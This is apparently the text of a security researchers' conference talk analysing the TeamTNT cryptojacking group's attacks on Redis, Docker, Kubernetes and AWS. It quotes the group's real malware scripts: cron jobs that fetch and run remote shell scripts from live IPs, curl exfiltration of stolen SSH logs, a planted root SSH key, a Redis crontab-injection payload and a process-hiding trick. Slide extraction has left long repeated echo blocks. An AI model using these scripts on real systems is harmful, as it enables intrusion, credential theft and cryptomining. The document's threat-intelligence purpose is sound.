Follow The Dynamite: Commemorating Team TNT’s Cloud Attacks
Who We Are

Nicole Fishbein
- Security Researcher
- Cloud threat hunter

Dr Joakim Kennedy
- Security Researcher
- Assembly reader
- Gopher hunter
Agenda

- TeamTNT???
- The Redis Phase...
- On Cloud 9
- Public speaking and Clusters...
- Dealing with the fandom (imitation is the sincerest form of flattery)
Intro

- What is cryptojacking?
- TeamTNT - an active cybercrime group
Der Anfang
Winter 2020

- Targeting Redis
- pnscan
- A lot of script files...
- Binary tools
  - Tsunami (whois.irc)
  - RatHole (bioset)
  - Watchdog
- Punk.py
- Exfiltrates: SSH keys, bash history, known SSH hosts, and the host file.
Targeting of Redis
#!/bin/bash

# priv8 Module scan/pwn Redis Server Setup
(c) 2020 HildeGard for TeamTNT priv8 App

#!/bin/bash

# PoorMen SSH log&up Modul for MiningInfector V2.5
(c) 2020 by HildeGard - TeamTNT priv8 Stuff :P

#!/bin/bash

# Kaiten root / tmp Installer
(c) 2020 HildeGard TeamTNT

# clean cron ACHTUNG +i crontab
# crontab -r 2>/dev/null
echo "* * > /etc/crontab 2>/dev/null
chattr +i /etc/crontab 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
rm -d /var/spool/cron/crontabs 2>/dev/null
rm -f /etc/cron.d/* 2>/dev/null
rm -d /etc/cron.d 2>/dev/null
rm -f /var/spool/mail/root 2>/dev/null

# clean bashrc ACHTUNG +i bashrc
# cp /etc/bashrc /etc/bashrc2
# grep -v "^curl" /etc/bashrc2 > /etc/bashrc
chattr +i /etc/bashrc
rm -f /etc/bashrc2

# kill prozesse von hacking appz
for theproc in ${PROCESSARRAY[@]}; do
gkill -f $theproc
kill $(ps -of $theproc)
killall -9 $theproc
done

# löscht besagte hacking appz
# ACHTUNG löscht gesamten /tmp/
for badfile in ${BADFILEARRAY[@]}; do
gkill -f $badfile
chattr +i $badfile
rm -f $badfile
rm -f $badfile -R
done

## entfernt TeamTNT appz
## TeamTNT zieht um...
systemctl stop xarcc
dsirve xarcc stop
systemctl stop watchdog
dsirve watchdog stop
#!/bin/bash
if [ -f 
"/bin/hid" ]; then
    echo "FOUND hid"
    chattr -i /bin/hid
    chmod +x /bin/hid
    chattr +i /bin/hid
else
    echo "#!/bin/bash" > /bin/hid
    echo 'declare dir=/usr/foo' >> /bin/hid
    echo 'if [ ! -e $dir ]; then' >> /bin/hid
    echo ' mkdir $dir; fi' >> /bin/hid
    echo 'cp /etc/mtab /usr/t' >> /bin/hid
    echo 'mount --bind /usr/foo /proc/$1' >> /bin/hid
    echo 'mv /usr/t /etc/mtab' >> /bin/hid
    chmod +x /bin/hid
    chattr +i /bin/hid
fi
rm -f $0
function setup_poormansshlogger() {
    if [ -f /root/.bashrc ]; then
        echo "alias ssh='strace -o /usr/bin/lib/pw/sshpwd-root.log -e read,write,connect -s2048 ssh'" >> /root/.
        bashrc
    fi
    for file in /home/*
    do
        if test -d $file; then
            if [ -f $file/.bashrc ]; then
                chattr -i $file/.bashrc 2>/dev/null
                echo "alias ssh='strace -o /usr/bin/lib/pw/sshpwd-USER.log -e read,write,connect -s2048 ssh'" >> $file/.bashrc
                chattr +i $file/.bashrc 2>/dev/null
            fi
        fi
    done
}
Exfil of Stolen Credentials

```bash
function makehejobincron(){
  chattr -i /etc/crontab 2>/dev/null
  echo " " > /etc/crontab 2>/dev/null
  /etc/crontab -r 2>/dev/null
  cat <(crontab -l) <(echo "*/5 * * * * root bash /usr/bin/systemd-config"
    | crontab -
    chattr +i /etc/crontab 2>/dev/null
  echo "*/5 * * * * /usr/bin/systemd-config" | tee -a /var/spool/cron/
    rootsyshealt
  chmod +x /var/spool/cron/rootsyshealt
}

#!/bin/sh
if [ -f "/usr/bin/lib/pw/sshpwd-root.log" ]; then
curl -F "userfile=@/usr/bin/lib/pw/sshpwd-root.log" http://teamntn.red/up/index2.php 2>/dev/null
rm -f /usr/bin/lib/pw/sshpwd-root.log 2>/dev/null
fi

if [ -f "/usr/bin/lib/pw/sshpwd-USER.log" ]; then
curl -F "userfile=@/usr/bin/lib/pw/sshpwd-USER.log" http://teamntn.red/up/index2.php 2>/dev/null
rm -f /usr/bin/lib/pw/sshpwd-USER.log 2>/dev/null
fi
exit
```
Tsunami

- Kaiten and Ziggystartux
- Compiled from an earlier version
- DoS and shell commands
- kthreadadd
RatHole

- Open source backdoor
- Blowfish encryption
Oldest Artifact

- Rathole binary 2019-10-06
Historical Traces

- **ash.sh VT 2020-01-07**

```bash
$, rstat.sh
#!/bin/bash

service iptables stop 2>/dev/null
service firewalld stop 2>/dev/null
service ufw stop 2>/dev/null

chmod +x /tmp/bioset
/tmp/bioset

config_url="http://3.215.110.66/srv/config.json"
config_url_backup="http://125.254.128.200/config.json"
config_size=2135

crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null

echo 'ssh-rsa
AAAAAB3NzaC1yc2EAAAADAQABAAABAQAQODIzB9hz7bNT6qtOKCMcitnaxEB9RyJEZu0mE
+qUMrh6h9ccSMg9qAlS/Lmv5SwlJQXMB5WuhclPJsVawuP
+pfsm1Z1GF23nczcW5kbW1o5Fl/6W0V1p9M0aXHAbpi7o/52auu3lTktyIWuP5R9Y/
2pUNcF2Inna0r1KNtCBPisNYb24FWAQVGwxzUWZ/
ZE7SYIo0Um3EJihPPlTuleUmIzc7TrznEn9M3U8K+LVFye
+wDeSC3WNYwfl6QJA4aFsAN0iz89olhh77G7aIaDR8LghNfVvKraJaJ6onDZwb2CZWnSvxfvFsdYtL6
G05407eqoes7vkJudo9Qx959wxNwHildeGard' /root/.ssh/authorized_keys

echo '*/15 * * * * curl -fsSL http://116.62.122.90/sh.sh/sh/sh/sh\sh' /var/spool/cron/root

echo '*/15 * * * * curl -fsSL http://116.62.122.90/sh.sh/sh/sh|sh' /var/spool/cron/crontabs/root

echo '*/15 * * * * curl -fsSL http://116.62.122.90/sh.sh/sh/sh|sh' /var/spool/cron/crontabs/root

crontab -

useradd -p /BNKiPmA2eAQ -G root hilde 2>/dev/null
usermod -o -u 0 -g 0 hilde 2>/dev/null
```
Der Frühling 2020
Spring 2020 - Targeting Docker

- First documented evidence of the group in a report by Trend Micro
- A shift to target exposed Docker containers
- Usage of open-source tools
  - Masscan
  - Zgrab
- Connections to previous campaign
  - Scripts
  - Tsunami (dns3)
- Usage of COVID19 terms
Attack Flow

- Set the container to execute init.sh which will download and execute other scripts
Connection to other scripts

```bash
function make_payload()
{
    rm -rf .dat.shard.ranges.lan 2>/dev/null
    sleep 1
    echo 'config set dbfilename "backup.db"' > .dat
    echo 'save' >> .dat
    echo 'flushall' >> .dat
    echo 'set backup1 "\n\n\n/2 * * * * * curl -fsSL http://45.9.148.123/MoneroOcean/sh/init.sh | sh
\n\n'' >> .dat
    echo 'set backup2 "\n\n\n/3 * * * * * wget -q -O- http://45.9.148.123/MoneroOcean/sh/init.sh | bash
\n\n'' >> .dat
    echo 'set backup3 "\n\n\n/4 * * * * * curl -fsSL
\n\n'' >> .dat
    echo 'set backup4 "\n\n\n/5 * * * * * wget -q -O-
\n\n'' >> .dat
    echo 'config set dir "/etc/"' >> .dat
    echo 'config set dbfilename "crontab/"' >> .dat
    echo 'save' >> .dat
    echo 'config set dir "/etc/"' >> .dat
    echo 'dbfilename "crontab/"' >> .dat
}
```

2 security vendors flagged this file as malicious

```
2adb1a298dd4f0d1b4fe2d5f5468363e977c8962d837c57219362ee2fc3127
minion_worker.sh
```

---

**DETECTION**

**DETAILS**

**RELATIONS**

**BEHAVIOR**

**CONTENT**

**SUBMISSION**
Daily new confirmed COVID-19 cases

Shown is the rolling 7-day average. The number of confirmed cases is lower than the number of actual cases; the main reason for that is limited testing.

Source: Johns Hopkins University CSSE COVID-19 Data
Der Sommer 2020
Continue Attacking Docker
Rootkit

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
mkdir /.../dia/ -p 2>/dev/null 1>/dev/null
echo "erstelle Ordner ..."

Diamorphine Setup

-clear

```
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
```

-Diamorphine Setup

```

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
```

Diamorphine Setup

```

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
```

Diamorphine Setup

```

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
```

Diamorphine Setup

```

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
```

Diamorphine Setup

```

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
echo " "
echo " "
```

Diamorphine Setup

```

clear
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo -e " "
echo " "
```
Credential Theft and Lateral Movement
Der Herbst 2020
Fall 2020

- Implementing new capabilities and features
- Overview of the TeamTNT’s Twitter account
Utilizing Legitimate Tools

Easy to install - easy to control
Expansion of Credentials Stealing

MimiPenguin 2.0

A tool to dump the login password from the current Linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. This was assigned CVE-2018-20781 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781). Fun fact it’s still not fixed after GNOME Keyring 3.27.2 and still works as of 3.28.0.2–1ubuntu18.04.1.

root@kali:~/.git/mimipenguin

Mimipy

Tool to dump passwords from various processes memory. Works on windows/linux/OSX! Features:

- Embed technique from @huntergregal's mimipenguin.sh to dump passwords from gnome-keyring with some additional features:
  - can dump passwords from lightDM
  - possibility to mitigate the attack by overwriting passwords found in memory (you might want to add a cron)
- find GET/POST/Basic passwords from browsers memory or HTTP Servers
- function to search for any trace of your password in all your processes
- function to scan a process by pid with all techniques available
Fileless Malware

#ESETResearch found a new Linux GoLang sample (virustotal.com/gui/file/0a569...) that executes malware related to TeamTNT directly from memory via the memfd_create technique described in blog.fbkcs.ru/elf-in-memory-... and under the name ‘bioset’ @michalmalik 1/3
Social Media

Number of Tweets per Hour

Number of tweets

Hour

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
Angezeigte CPU Auslastung unter Linux manipulieren. Check! /proc/stat

Ich hoffe die Herrschaften sind mir der neuen Version des TeamTNT Payload einigermaßen zufrieden. :) Diesmal ist es fast komplett aus eigener Hand, liebe und mühenvoll erstellt. Wir sind

Translated from German by Google

Manipulate displayed CPU usage under Linux. Check! /;
proc / stat

I hope you guys are reasonably satisfied with the new version of the TeamTNT Payload. :) This time it is created almost entirely by my own hand, lovingly and painstakingly. We are
The mount trick is really sweet, isn't it? Together with preload so and e.g. dia as a rootkit ...

```bash
#!/bin/bash
if [ -f "/bin/hid" ]; then
echo "FOUND hid"
chattr -i /bin/hid
chmod +x /bin/hid
chattr +i /bin/hid
else
echo '#!/bin/bash' > /bin/hid
echo 'declare dir=/usr/foo' >> /bin/hid
echo 'if [ ! -e $dir ]; then' >> /bin/hid
echo '  mkdir $dir; fi' >> /bin/hid
echo 'cp /etc/mtab /usr/t' >> /bin/hid
echo 'mount --bind /usr/foo /proc/$1' >> /bin/hid
echo 'mv /usr/t /etc/mtab' >> /bin/hid
chmod +x /bin/hid
chattr +i /bin/hid
fi
rm -f $0
```
Der Winter 2021
Winter Summary

- Lacework Labs reported on ~200 infected Tsunami bots
  - 90 unique IP addresses
- Most bots located in Asia (Tencent, Alibaba, and Amazon)
- libprocesshider
- Kubernetes
- Ezuri packed binaries
Exploring Windows?

gfg.teamint.red

<table>
<thead>
<tr>
<th>DETECTION</th>
<th>DETAILS</th>
<th>RELATIONS</th>
<th>COMMUNITY</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Passive DNS Replication</strong> 1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Date resolved</td>
<td>IP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2021-02-01</td>
<td>107.189.30.191</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Siblings** 1

<table>
<thead>
<tr>
<th>IRC</th>
<th>Hostname</th>
<th>IP 1</th>
<th>Hostname</th>
<th>IP 2</th>
<th>Hostname</th>
<th>IP 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>irc.teamint.red</td>
<td></td>
<td>164.68.104.96</td>
<td></td>
<td>45.9.148.123</td>
<td></td>
<td>[...]</td>
</tr>
<tr>
<td>vps.teamint.red</td>
<td></td>
<td>23.31.57.89</td>
<td></td>
<td>45.9.148.123</td>
<td></td>
<td>[...]</td>
</tr>
<tr>
<td>irc03.teamint.red</td>
<td></td>
<td>45.9.148.85</td>
<td></td>
<td>13.245.141.74</td>
<td></td>
<td>[...]</td>
</tr>
<tr>
<td><a href="http://www.teamint.red">www.teamint.red</a></td>
<td></td>
<td>45.9.148.108</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**URLs** 1

<table>
<thead>
<tr>
<th>Scanned</th>
<th>Detections</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-02-01</td>
<td>7 / 83</td>
<td><a href="https://gfg.teamint.red/">https://gfg.teamint.red/</a></td>
</tr>
</tbody>
</table>

**Downloaded Files** 1

<table>
<thead>
<tr>
<th>Scanned</th>
<th>Detections</th>
<th>Type</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-03-30</td>
<td>23 / 61</td>
<td>ELF</td>
<td><a href="%HOME%25%Winntepad.exe">%HOME%%Winntepad.exe</a></td>
</tr>
<tr>
<td>2021-02-04</td>
<td>34 / 66</td>
<td>Win32 EXE</td>
<td><a href="%HOME%25%Winntepad.exe">%HOME%%Winntepad.exe</a></td>
</tr>
<tr>
<td>2021-03-09</td>
<td>46 / 70</td>
<td>Win32 EXE</td>
<td><a href="">C:\windows\system32\lqrg.jsf.p.dll</a></td>
</tr>
<tr>
<td>2021-05-26</td>
<td>0 / 54</td>
<td>JavaScript</td>
<td>invokefunction&amp;function=call_user_func_array&amp;vars[0]=md5&amp;vars[1]=%\Winnt%</td>
</tr>
</tbody>
</table>
Sniffer

```
INSTALLPCAP()
\$winpcap = _PCAPSETUP()
\$pcap_devices = _PCAPGETDEVICELIST()
\$iface = 0x0
\$pcap = _PCAPSTARTCAPTURE($pcap_devices[$iface][0x8], "host " & $pcap_devices[$iface][0x7] & " and " & $sniffport, 0x6, 0x10000, 0x2 ^ 0x18, 0x0)
\$im = \$keywords[0x1d]
\$keywords[0x6] = "GET /
\$keywords[0x2] = "Host: 
\$keywords[0x5] = "User-Agent: 
\$keywords[0x6] = "Content-
\$keywords[0x5] = "password-
\$keywords[0x6] = "user_name-
\$keywords[0x7] = "user-
\$keywords[0x6] = "user_name-
\$keywords[0x5] = "User-
\$keywords[0x6] = "login-
\$keywords[0x6] = "email-
\$keywords[0x6] = "username-
\$keywords[0x6] = "holders-
\$keywords[0x6] = "number-
\$keywords[0x6] = "cvv-
\$keywords[0x6] = "pin-
\$keywords[0x6] = "transaction-
\$keywords[0x12] = "bank-
\$keywords[0x13] = "cookie-
\$filehandle = FileOpen($1rootloc, 0x1)
\$spackettext = ""
\$oldspackettext = ""
While True
\$spacket = _TCP_RECV($pcap)
If UBound($spacket) > 0x1d Then
\$spackettext = BinaryToString("0x" & $spacket[0x14])
If $spackettext = $oldspackettext Then
\$sleep(0x6a)
Continue
EndIf
If StringLen($spackettext) > 0x1 Then
For $key = 0x0 To UBound($keywords) + 0xffffffff
If StringInStr($spackettext, $keywords[0xkey]) Then
If Dec(Hex(BinaryToString("0x" & $spacket[0x6a]))) = 0x1a8b Then ExitLoop
\$spackettext = StringSplit(StringReplace($spackettext, @CR, ""), @LF)
```

Windows CUDA Miner
Der Frühling 2021
We found new evidence that the cybercriminal group #TeamTNT has extended its credential harvesting capabilities to include multiple cloud and non-cloud services.

Read our report 📲
Using AWS CLI

```bash
if [ $# -eq 0 ]
then
    mkdir -p /var/tmp/.../...TnT.../aws-account-data/
    cd /var/tmp/.../...TnT.../aws-account-data/
fi

# https://docs.aws.amazon.com/cli/latest/reference/iam/index.html
###

aws iam get-account-authorization-details > iam-get-account-authorization-details.json
aws iam get-account-password-policy > iam-get-account-password-policy.json

aws iam get-account-summary > iam-get-account-summary.json
```
Compromised 50,000 Servers

HildeGard @ TeamTNT
@HildeTNT

Replying to @TrendMicroRSRC

So can the intern choose numbers for public articles? Oo What you mean here was the project "Kubernetes Speedrun" and we are completely unclear how you get to 50,000 ... 4655 feat 2215 uniq certainly doesn't sound like a fat headline, ... cool down ..
I checked the code, it's made us vulnerable.

Oo I am works?!

Ja genau über diesen! Uns sind die Scrippte bekannt, aber teilweise wird eine sehr alte repo von uns benutzt, aber diese recycelten Scrippte stehen nicht in Zusammenhang mit einer TeamTNT Kampagne!

Yes exactly about this one! We know the scripts, we sometimes use a very old repo, but these recycled scripts are not related to a TeamTNT campaign!

The focus of TeamTNT is currently on Kubernetes and not on old garbage!
Reaction to the CopyCat

UND HIER NOCHMAL:
Alle aktuellen TeamTNT Scripte sind mir Datum und
Versionsnummer versehen. Des weiteren befindet sich
ein SRC Link darin, mittels dessen können sie die
Scripte abgleichen.

```
#!/bin/bash
# Script Name: Docker-API Infect - IP.Ranges
# Beschreibung: Infiziert alle Docker-Container eines x86_64 Systems mit XmRig.
#                Die Datei ./dockerenv wird durch XmRig ersetzt und gestartet.
# Autor:        hilde@teamtnt.red
# Version:      0.14.0
# Datum:        25.07.2021
```

you can use to synchronize the scripts.

We would think of something better than such an
oracle mist if we wanted it to be inconspicuous!
The Chimaera

Chimaera - Campaign - Statistik

Vulnerabilities: WorkingRange: TargetsFound:
Docker-APV 89.0.0.08 coming soon
Kubernetes 87.0.0.08 coming soon
WeaveScope 244.0.0.08 coming soon
Jupyter 0.0.0.0 coming soon
Kubeflow 0.0.0.0 coming soon
Redis 0.0.0.0 coming soon

Back-End informations

Currency: all Wallets: Wallets abused: amount: Pools:
Monero 14 2 7 ??? XMR 2
Ethereum 2 2 0 0.02452 ETH 3

3681 touched devices
Future?

---

Pinned Tweet

HildeGard@TeamTNT @HildeTNT · Nov 18, 2021

*softly one hears the team grumble and groans, in their certainty that the party here actually now find your end.* 😥其他玩家 😥

here is the last song as desired by TeamTNT. silent rollout now: Kuben.v2.1.final

let's take a look where the frog has the curls!

---

In the future, the party will come to an end. The players grumble and groan, certain that their time has run out. The last song of the night, 'Kuben.v2.1.final,' is released silently. The future holds promises of new adventures.
Conclusion

- Cryptojacking major threat to Linux environments
- TeamTNT predominant threat actor
- Docker and Kubernetes
- Public presence on the clear web
- Open Source Tools
Questions?